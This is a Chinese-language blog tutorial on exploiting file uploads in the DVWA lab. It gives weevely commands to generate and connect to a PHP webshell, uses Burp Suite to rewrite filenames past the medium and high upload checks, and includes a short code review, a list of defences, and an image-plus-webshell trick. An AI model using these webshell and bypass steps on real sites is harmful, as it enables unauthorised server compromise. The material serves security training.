渗透测试之文件上传
(一)weevely 工具创建webshell脚本
命令:weevely generate 123456 /root/shell.php
将脚本复制到桌面上传
打开DVWA,选择文件上传,记得改下安全程度
点击上传:
发现上传成功,访问一下,没有报错就说明上传成功了。
页面正常,说明shell已经上传成功。
通过weevely连接shell。
weevely http://192.168.164.129/dvwa/hackable/uploads/shell.php 123456
成功连接目标网站,接下来就可以执行各种命令了。
=======================================================================================================
(二)HTTP请求-GET&POST
拦截http请求包,修改包,重定向,需要使用代理,可以通过burpsuite。
kali自带了社区版的Burpsuite直接打开就行。
浏览器也需要设置,开启代理,打开浏览器:
点击设置:
配置完成后,点ok。记得使用完关闭代理。
刷新一下网页,打开burpsuite发现拦截到了http包
可以通过修改包内容,然后再转发Forward。
========================================================================================================================
(三)利用高级文件上传漏洞来入侵网站。
因为刚刚的安全水平是最低级的,所有可以任意上传webshell.php,现在设置为中级再试一下。
设置成medium后提交就行。
发现报错,中级安全做了文件格式要求:
现在只能上传图片不能上传php文件了。说明做了安全防护:比如过滤文件格式。如果是过滤文件格式我们可以通过Burpsuite修改http包绕过。
开启代理拦截包。
然后,将webshell.php后缀改为php.jpg。
重新上传,然后发现Burpsuite拦截到该http包
现在只要将filename="shell.jpg"改回shell.php然后点Forward转发就行。
然后发现,上传成功。
之后就可以通过weevely连接shell。后面如同(一)一样不再赘述。
weevely http://192.168.164.129/dvwa/hackable/uploads/shell.php 123456
======================================================================================================
(四)文件上传security level-high绕过。
通过bp我们可以绕过文件类型的检查,现在将安全等级设置为high看是否能绕过。
发现无法上传:
这种一般是做了文件类型检查并且对扩展名也做了检查,就只能上传上传图片了。
那要如何绕过呢?我们试一下改成jpg试下
文件上传成功,我们用weevely连接试试。
weevely http://192.168.164.129/dvwa/hackable/uploads/shell.php.jpg 123456
发现入侵成功。
=====================================================以上都是黑盒测试=======================================
(五)代码审计,白盒测试。
low等级是完全没做安全设置,我们看下中级的源代码。
代码审计发现这只做了一个if判断文件类型是否是图片及文件上传大小的限制,很容易就通过修改扩展名绕过。
看下高级的源代码:
发现做了扩展名的限制,这时我们可以通过修改为shell.php.jpg绕过。
================================================================================================
总结:
文件上传的防御方法:
1)检查文件类型
2)检查文件扩展名
3)上传到服务端临时文件夹下,并对上传的文件进行重命名
4) 限制文件上传大小及压缩图片等。
PS:若没有压缩图片,我们可以上传一张任意图片1.jpg然后和webshell.php的二进制进行相加得到webshell.jpg,然和结合文件包含漏洞获得webshell。
posted on 2022-02-27 17:37 shacker_shen 阅读(499) 评论(0) 编辑 收藏 举报